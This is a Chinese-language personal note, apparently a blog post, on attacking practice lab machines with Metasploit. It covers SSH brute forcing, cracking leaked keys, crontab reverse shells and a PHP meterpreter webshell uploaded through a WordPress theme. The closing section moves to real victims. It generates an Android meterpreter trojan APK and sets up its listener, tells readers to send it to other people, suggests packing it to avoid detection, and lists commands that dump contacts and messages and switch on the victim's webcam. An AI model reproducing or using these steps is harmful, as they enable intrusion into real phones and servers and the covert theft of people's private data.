msf dos攻击_msf攻击网站

入侵开放22端口的靶机

本人笔记，仅供参考

相关靶机：

链接：

提取码：qd32

渗透分析：

对于开启ssh服务的22端口的靶场优先考虑

1.暴力破解

2.私钥泄露

对于开放http服务的80端口或者其他端口的靶场优先考虑（特别注意大于1024的端口）

1.通过浏览器访问对应靶场http服务如地址：端口号

2.使用探测工具对http的目录进行探测，如dirb 地址：端口号

挖掘敏感信息：

使用浏览器对靶场IP的http服务探测，对页面中展示的内容也要注意，尤其是联系人等信息(有可能就是ssh的用户名信息)， 递归访问，力争把每一个dirb扫描到的目录页面都访问查看;

尤其对robots.txt、以及一些目录进行访问，挖掘具备利用价值的信息。对于开放ssh服务的靶场，务必要注意是否可以寻找到ssh私钥信息(id_ rsa);

对于某些靶场，也可以使用nikto扫描器来挖掘敏感信息;

-- nikto -host靶场IP地址

特别注意config等特殊敏感文件，要细读扫描的结果。挖掘可以利用的敏感信息;

登录服务器之后，我们需要做以下操作。

1、查看当前用户whoami .

2、id 查看当前用户的权限

3、查看根目录寻找flag文件

如果是root权限，那么表明这个靶场就被全部拿下。但是如果不是，就肯定需要提权。一

般情况下，flag文件只属于root用户和对应的用户组:

cat /etc/passwd查看所有用户的列装

cat /etc/group查看用户组

find / -user用户名查看属于某些用户的文件

/tmp查看缓冲文件目录

深入挖掘

通过/etc/crontab文件，设定系统定期执行的任务,编辑，需要roor权限。不同的用户都可以有不同的定时任务

cat /etc/crontab挖掘其他用户是否有定时任务，并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。

如果在/etc/crontab下有某个用户的定时计划文件，但是具体目录下没有这个定时执行的文件，可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。

如果有定时执行的文件，可以切换到对应的目录，查看对应的权限，查看当前用户是否具有读写权限。

万不得已的时候只能对ssh服务进行暴力破解。破解最后一个

用户名。破解工具如hydra、medusa等;

利用cupp创建字典

git clone 

chmod +x cupp.py

./cupp.py -i以交互的方式创建字典

输入用户名然后一直回车到Do you want to add some random numbers at the end of words?输入yes其他全部no此时创建完成

之后推荐用metasploit破解ssh

在终端中输入

msfconsole

msf  use auxiliary/scaner/ssh/ssh_ login（使用该模块）

set rhosts  192.168.56.103（确定ip地址）

set username 用户名（破解的用户名）

set pass_ file 用户名.txt（刚刚创建的字典）

set threads  5（输入线程）

Run（进攻）

此时破解出密码例如123

直接连接，如果出现问题可以重启msfconsole，启用该模块后

set rhosts 192.168.56.103             (连接远程主机）

set username hadi（用户名）

Set password 123（密码）

Run

界面简陋就使用python优化界面

Python -c “import pty;pty.spawn(‘/bin/bash’)”（优化界面）

此时可以把自己权限提升到root：

su - root

回到根目录ls打开flag文件

Ssh秘钥泄露

解密Ssh秘钥信息(以秘钥名id_isa举例）

Chmod  600 id_isa（赋予is_isa可读可写权限）

ssh2john id_isa  isacrack       (就是用ssh2john把秘钥里的东西转换成john可识别的）

Zcat  /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacracks（利用rockyou字典解出所需要的东西）

*** webshell

msfvenom -p php/meterpreter/reverse_tcp Ihost=攻击机IP地址Iport=4444 -f raw  /root/Desktop/shell.php

启动监听

msf  use exploit/multi/handler

msf exploit(handler)  set payload php/meterpreter/reverse_tcp

Weoshell

msf exploit(handler)  set Ihost攻击机IP地址

msf exploit(handler)  set lport 4444

msf exploit(handler) run

上传Webshell

使用找到的敏感信息登录系统后台，上传webshell。 执行

webshel(访问具有webshell的php页面)

获得反弹的shell

--

wordpress.上传点theme 404.php

执行: http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php

Kali工具中的 msf 为什么不能自动化攻击

自动化会使人变懒，就这么简单。所以，去掉这个功能绝对所明智的，而且80％以上，自动化攻击是无效的，他无法应对各种没有遇到过的情况。最后还是要自己手工，更加浪费时间。

msfconsole使用教程

众所周知，msf是大家公认的神器！

现在我就来说说到底怎么用msf呢

有很多人说，他们不会安装msfconsole

教程：

;product=tool

安装了msfconsole之后，在termux输入：

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.117 LPORT=5555 R /sdcard/mu.apk

其中

LHOST= 后面的数字是本地的ip，不是被攻击者的ip而是你自己的

LPORT= 是端口，高端口不容易被报毒，如果你不知道端口是什么那就不要改了

生成的木马在根目录的mu.apk（啰嗦）

那么接下来，我来教大家怎么监听吧

1.启动msfconsole（漫长）：msfconsole

2.使用multi模块：use exploit/multi/handler

3.设置LHOST（跟木马的一样）：set LHOST 192.168.2.117

4.设置LPORT（一样的）：set LPORT 5555

5.设置payload：set payload android/meterpreter/reverse_tcp

6.启动监听：exploit

最后将木马发给别人就行啦

很多人说一看就知道是木马了！

在这里我说一句，你不会加个壳嘛？

ok！当鱼上吊的时候，会反弹shell

命令：

dump_contacts 导出 ***

dump_ *** s 导出信息

webcam_list 列出摄像头

webcam_stream 开启摄像

webcam_snap *** 一张照片

webcam_chat 视频通话

ps 列出所有进程

activity_start 启动其它应用

check_root 检查是否root

send_ *** s 发送指定信息

全部手机进行，免root进行